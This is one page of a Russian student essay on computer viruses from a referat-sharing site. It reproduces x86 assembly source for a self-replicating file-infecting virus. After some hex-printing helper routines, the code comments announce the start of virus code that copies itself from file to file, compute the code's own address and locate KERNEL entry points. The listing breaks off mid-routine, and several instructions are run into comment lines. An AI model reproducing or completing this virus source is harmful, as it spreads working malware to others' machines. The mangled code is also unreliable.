Компьютерные вирусы
| Категория реферата: Рефераты по информатике, программированию
| Теги реферата: реферат на тему образ жизни, сочинение язык
| Добавил(а) на сайт: Jeshman.
Предыдущая страница реферата | 3 4 5 6 7 8 9 10 11 12 13 | Следующая страница реферата
; Процедура перевода слова в ASCII-формат для печати.
;Значение, находящееся в регистре АХ, будет записано
;в ASCII-формате по адресу ES:EDI
HexWrite16 proc
;Сохраним младший байт из стека push ax
;Загрузим старший байт в регистр AL xchg al,ah
;Переведем старший байт в ASCII-формат call HexWriteS
;Восстановим младший байт из стека pop ax
;Переведем младший байт в ASCII-формат
call HexWriteS
ret
HexWrite16 endp
;Процедура перевода двойного слова в ASCII-формат для печати.
;Значение, находящееся в регистре ЕАХ, будет записано
;в ASCII-формате по адресу ES:EDI
HexWrite32 proc
;Сохраним младшее слово из стека push eax
;Загрузим старшее слово в регистр АХ shr eax, 16
;Переведем старшее слово в ASCII-формат call HexWrite16
;Восстановим младшее слово из стека pop eax
;Переведем младшее слово в ASCII-формат
call HexWrite16
ret
HexWrite32 endp
;Сделаем процедуру WndProc доступной извне
public WndProc ends
;Здесь начинается код вируса. Этот код переписывается из файла
;в файл. Все вышеописанное - всего лишь программа-носитель
vladseg segment para public "vlad"
assume cs:vladseg vstart: *
;Вычислим текущий адрес
call recalc recalc: pop ebp mov eax,ebp db 2Dh ;Код команды SUB AX subme dd 30000h+(recalc-vstart)
;Сохраним адрес в стеке push eax
;Вычислим стартовый адрес вирусного кода sub ebp,offset recalc
;Ищем KERNEL. Возьмем вторую известную нам точку KERNEL mov eax,[ebp+offset kern2]
;Проверим ключ. Если ключа нет, перейдем к точке 1 cmp dword ptr [eax],5350FC9Ch jnz notkern2
Рекомендуем скачать другие рефераты по теме: контрольная, использование рефератов.
Категории:
Предыдущая страница реферата | 3 4 5 6 7 8 9 10 11 12 13 | Следующая страница реферата